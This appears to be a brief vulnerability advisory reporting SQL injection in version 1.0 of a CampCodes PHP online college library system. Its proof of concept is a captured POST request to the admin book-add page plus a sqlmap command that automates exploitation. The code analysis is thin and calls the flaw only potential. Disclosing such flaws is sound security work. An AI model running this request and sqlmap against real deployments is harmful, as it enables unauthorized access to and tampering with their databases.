libsystem foreground SQL injection vulnerability 4

heishou
2 min readDec 29, 2023

--

Author: Heishou
Affected Version: 1.0
Manufacturer: www.campcodes.com/
Download Address:
https://www.campcodes.com/downloads/online-college-library-system-using-php-mysqli-source-code/?wpdmdl=3277&refresh=658a63d73b4b31703568343
Vulnerability Description:
SQL injection vulnerability in foreground
Environment:

Code analysis:
The code contains a potential SQL injection vulnerability. An attacker can exploit arbitrary values entered by the user in the form to inject malicious database instructions for unauthorized operations.

POC:

POST /libsystem/admin/book_add.php HTTP/1.1
Host: localhost
Content-Length: 85
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/libsystem/admin/book.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=br4agt4sl0uctkh9hn8p8fmam7
Connection: close

isbn=qw&title=qwdqdq&category=1&author=qdqdq&publisher=qwqwe&pub_date=2023-12-27&add=

Sqlmap:python sqlmap.py -r 3.txt

--

--